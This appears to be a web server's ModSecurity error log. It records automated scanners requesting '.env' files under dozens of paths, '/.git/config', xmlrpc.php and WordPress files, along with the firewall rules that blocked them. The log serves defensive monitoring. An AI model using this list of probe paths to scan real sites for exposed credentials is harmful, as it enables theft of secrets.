[Thu May 21 15:05:15.871972 2026] [:error] [pid 49982:tid 49988] [client 3.106.220.79:41470] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/zend/.env"] [unique_id "ag6uq2FwIDa5Tf8O4bauuAAAAMQ"]
[Thu May 21 15:05:15.929551 2026] [:error] [pid 9189:tid 9242] [client 3.106.220.79:41486] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/yii/.env"] [unique_id "ag6uq5vTDh1NbYizKVx6BwAAAhc"]
[Thu May 21 15:05:15.985629 2026] [:error] [pid 9189:tid 9222] [client 3.106.220.79:41498] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/laravel5/.env"] [unique_id "ag6uq5vTDh1NbYizKVx6CAAAAgM"]
[Thu May 21 15:05:16.048973 2026] [:error] [pid 49982:tid 49989] [client 3.106.220.79:41510] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/v1/.env"] [unique_id "ag6urGFwIDa5Tf8O4bauuQAAAMU"]
[Thu May 21 15:05:16.115934 2026] [:error] [pid 49982:tid 49985] [client 3.106.220.79:41512] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/v2/.env"] [unique_id "ag6urGFwIDa5Tf8O4bauugAAAME"]
[Thu May 21 15:05:16.178975 2026] [:error] [pid 9189:tid 9238] [client 3.106.220.79:41514] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/v3/.env"] [unique_id "ag6urJvTDh1NbYizKVx6CQAAAhM"]
[Thu May 21 15:05:16.243628 2026] [:error] [pid 9189:tid 9225] [client 3.106.220.79:41516] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/v1/.env"] [unique_id "ag6urJvTDh1NbYizKVx6CgAAAgY"]
[Thu May 21 15:05:16.311197 2026] [:error] [pid 9188:tid 9196] [client 3.106.220.79:41524] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/v2/.env"] [unique_id "ag6urLGYm6q5dNSUvA-0hAAAAcQ"]
[Thu May 21 15:05:16.375529 2026] [:error] [pid 9114:tid 9129] [client 3.106.220.79:41534] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/rest/.env"] [unique_id "ag6urG8FiJqDBEoTvqxcEAAAAU0"]
[Thu May 21 15:05:16.438539 2026] [:error] [pid 9114:tid 9124] [client 3.106.220.79:41538] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/graphql/.env"] [unique_id "ag6urG8FiJqDBEoTvqxcEQAAAUg"]
[Thu May 21 15:05:16.494748 2026] [:error] [pid 9114:tid 9118] [client 3.106.220.79:41542] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/gateway/.env"] [unique_id "ag6urG8FiJqDBEoTvqxcEgAAAUI"]
[Thu May 21 15:05:16.557081 2026] [:error] [pid 9114:tid 9119] [client 3.106.220.79:41552] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/microservice/.env"] [unique_id "ag6urG8FiJqDBEoTvqxcEwAAAUM"]
[Thu May 21 15:05:16.613363 2026] [:error] [pid 9189:tid 9219] [client 3.106.220.79:41562] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/service/.env"] [unique_id "ag6urJvTDh1NbYizKVx6CwAAAgA"]
[Thu May 21 15:05:16.669881 2026] [:error] [pid 9189:tid 9241] [client 3.106.220.79:41576] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/v3/.env"] [unique_id "ag6urJvTDh1NbYizKVx6DAAAAhY"]
[Thu May 21 15:05:16.726744 2026] [:error] [pid 49982:tid 50004] [client 3.106.220.79:41588] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/dev/.env"] [unique_id "ag6urGFwIDa5Tf8O4bauuwAAANQ"]
[Thu May 21 15:05:16.788684 2026] [:error] [pid 51613:tid 51629] [client 3.106.220.79:41598] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/staging/.env"] [unique_id "ag6urGbP0MDvqrVnwerV3gAAAQ4"]
[Thu May 21 15:05:16.864849 2026] [:error] [pid 49884:tid 49971] [client 3.106.220.79:41614] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "ag6urK5MPpsTNNHWS6h4_AAAAJg"]
[Thu May 21 15:05:16.920477 2026] [:error] [pid 49884:tid 49948] [client 3.106.220.79:41620] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "ag6urK5MPpsTNNHWS6h4_QAAAIE"]
[Thu May 21 15:05:16.983147 2026] [:error] [pid 49884:tid 49970] [client 3.106.220.79:41636] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/resources/.env"] [unique_id "ag6urK5MPpsTNNHWS6h4_gAAAJc"]
[Thu May 21 15:05:17.050533 2026] [:error] [pid 9157:tid 9181] [client 3.106.220.79:41642] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/.env"] [unique_id "ag6urcGfHcLNqE8m88JsYgAAAZY"]
[Thu May 21 15:05:17.107156 2026] [:error] [pid 9189:tid 9236] [client 3.106.220.79:41644] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/uploads/.env"] [unique_id "ag6urZvTDh1NbYizKVx6DQAAAhE"]
[Thu May 21 15:05:17.166556 2026] [:error] [pid 9188:tid 9213] [client 3.106.220.79:41646] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/internal/.env"] [unique_id "ag6urbGYm6q5dNSUvA-0hgAAAdU"]
[Thu May 21 15:05:17.225532 2026] [:error] [pid 49884:tid 49956] [client 3.106.220.79:41648] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/tools/.env"] [unique_id "ag6ura5MPpsTNNHWS6h4_wAAAIk"]
[Thu May 21 15:05:17.287872 2026] [:error] [pid 49884:tid 49952] [client 3.106.220.79:41664] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/scripts/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5AAAAAIU"]
[Thu May 21 15:05:17.345657 2026] [:error] [pid 9189:tid 9240] [client 3.106.220.79:41676] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/bin/.env"] [unique_id "ag6urZvTDh1NbYizKVx6DwAAAhU"]
[Thu May 21 15:05:17.402249 2026] [:error] [pid 49884:tid 49951] [client 3.106.220.79:41684] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sbin/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5AQAAAIQ"]
[Thu May 21 15:05:17.465897 2026] [:error] [pid 9189:tid 9239] [client 3.106.220.79:41688] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/local/.env"] [unique_id "ag6urZvTDh1NbYizKVx6EAAAAhQ"]
[Thu May 21 15:05:17.522588 2026] [:error] [pid 9189:tid 9227] [client 3.106.220.79:41700] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/portal/.env"] [unique_id "ag6urZvTDh1NbYizKVx6EQAAAgg"]
[Thu May 21 15:05:17.583703 2026] [:error] [pid 49884:tid 49958] [client 3.106.220.79:41712] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/dashboard/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5BAAAAIs"]
[Thu May 21 15:05:17.639432 2026] [:error] [pid 49884:tid 49957] [client 3.106.220.79:41718] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/panel/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5BQAAAIo"]
[Thu May 21 15:05:17.700811 2026] [:error] [pid 49884:tid 49965] [client 3.106.220.79:41724] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/crm/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5BgAAAJI"]
[Thu May 21 15:05:17.757045 2026] [:error] [pid 49884:tid 49953] [client 3.106.220.79:41740] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/erp/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5BwAAAIY"]
[Thu May 21 15:05:17.820476 2026] [:error] [pid 49884:tid 49950] [client 3.106.220.79:41748] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/shop/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5CAAAAIM"]
[Thu May 21 15:05:17.882605 2026] [:error] [pid 49884:tid 49970] [client 3.106.220.79:41754] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/store/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5CQAAAJc"]
[Thu May 21 15:05:17.976992 2026] [:error] [pid 49884:tid 49964] [client 3.106.220.79:41768] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/saas/.env"] [unique_id "ag6ura5MPpsTNNHWS6h5CgAAAJE"]
[Thu May 21 15:05:18.046848 2026] [:error] [pid 49884:tid 49952] [client 3.106.220.79:41776] [client 3.106.220.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/client/.env"] [unique_id "ag6urq5MPpsTNNHWS6h5CwAAAIU"]
[Thu May 21 16:31:03.572294 2026] [:error] [pid 9188:tid 9216] [client 34.181.220.192:49781] [client 34.181.220.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.181.220.192, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ag7Cx7GYm6q5dNSUvA_EfQAAAdg"]
[Thu May 21 16:31:03.582775 2026] [proxy_fcgi:error] [pid 9188:tid 9216] [client 34.181.220.192:49781] AH01071: Got error 'Primary script unknown'
[Thu May 21 16:31:06.292708 2026] [:error] [pid 9188:tid 9208] [client 34.181.220.192:49781] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ag7CyrGYm6q5dNSUvA_EiAAAAdA"]
[Thu May 21 16:31:06.785932 2026] [:error] [pid 9114:tid 9128] [client 34.181.220.192:62916] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ag7Cym8FiJqDBEoTvqxn6AAAAUw"]
[Thu May 21 16:31:07.216306 2026] [:error] [pid 9188:tid 9211] [client 34.181.220.192:59550] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ag7Cy7GYm6q5dNSUvA_EigAAAdM"]
[Thu May 21 16:31:07.671518 2026] [:error] [pid 51613:tid 51632] [client 34.181.220.192:60738] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ag7Cy2bP0MDvqrVnweri0wAAARE"]
[Thu May 21 16:31:08.215333 2026] [:error] [pid 49982:tid 49987] [client 34.181.220.192:58257] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ag7CzGFwIDa5Tf8O4bbG1wAAAMM"]
[Thu May 21 16:31:08.665724 2026] [:error] [pid 49877:tid 49897] [client 34.181.220.192:60228] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ag7CzBgN4MeSe4kIL9AslQAAAAk"]
[Thu May 21 16:31:09.090912 2026] [:error] [pid 9189:tid 9233] [client 34.181.220.192:50860] [client 34.181.220.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ag7CzZvTDh1NbYizKVyODwAAAg4"]
[Thu May 21 23:24:09.546694 2026] [:error] [pid 9188:tid 9210] [client 34.150.255.112:63213] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag8jmbGYm6q5dNSUvA_-6gAAAdI"]
[Thu May 21 23:24:09.970943 2026] [:error] [pid 49884:tid 49969] [client 34.150.255.112:61796] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ag8jma5MPpsTNNHWS6gXQwAAAJY"]
[Thu May 21 23:24:10.395507 2026] [:error] [pid 49884:tid 49966] [client 34.150.255.112:65181] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag8jmq5MPpsTNNHWS6gXqQAAAJM"]
[Fri May 22 05:02:46.750588 2026] [:error] [pid 15585:tid 15669] [client 37.39.181.198:55552] [client 37.39.181.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.39.181.198, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ag9y9iKb-vB41AF-LC0sjAAAAJY"]
[Fri May 22 05:02:46.761709 2026] [proxy_fcgi:error] [pid 15585:tid 15669] [client 37.39.181.198:55552] AH01071: Got error 'Primary script unknown'
[Fri May 22 17:06:49.056122 2026] [:error] [pid 15583:tid 15612] [client 161.118.202.128:56845] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-manager/initialize"] [unique_id "ahAcqXnaOncRcIm17YX0mgAAABg"]
[Fri May 22 17:06:49.248251 2026] [:error] [pid 15583:tid 15599] [client 161.118.202.128:56933] [client 161.118.202.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file-manager/initialize"] [unique_id "ahAcqXnaOncRcIm17YX0mwAAAAs"]
[Fri May 22 17:11:08.158137 2026] [:error] [pid 15584:tid 15629] [client 34.93.63.75:61016] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ahAdrN9Z_TVLbNEx52gL4AAAAEk"]
[Fri May 22 17:11:08.451954 2026] [:error] [pid 15584:tid 15625] [client 34.93.63.75:62556] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahAdrN9Z_TVLbNEx52gMGAAAAEU"]
[Fri May 22 17:11:08.749478 2026] [:error] [pid 15583:tid 15605] [client 34.93.63.75:64259] [client 34.93.63.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed/"] [unique_id "ahAdrHnaOncRcIm17YX1RQAAABE"]
[Fri May 22 20:39:57.633670 2026] [autoindex:error] [pid 15585:tid 15649] [client 62.84.183.157:56056] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 22:13:41.544967 2026] [:error] [pid 15583:tid 15606] [client 134.199.156.173:55018] [client 134.199.156.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ahBklXnaOncRcIm17YUq7wAAABI"]
[Fri May 22 22:13:41.689995 2026] [:error] [pid 15583:tid 15591] [client 134.199.156.173:54712] [client 134.199.156.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ahBklXnaOncRcIm17YUq8AAAAAM"]
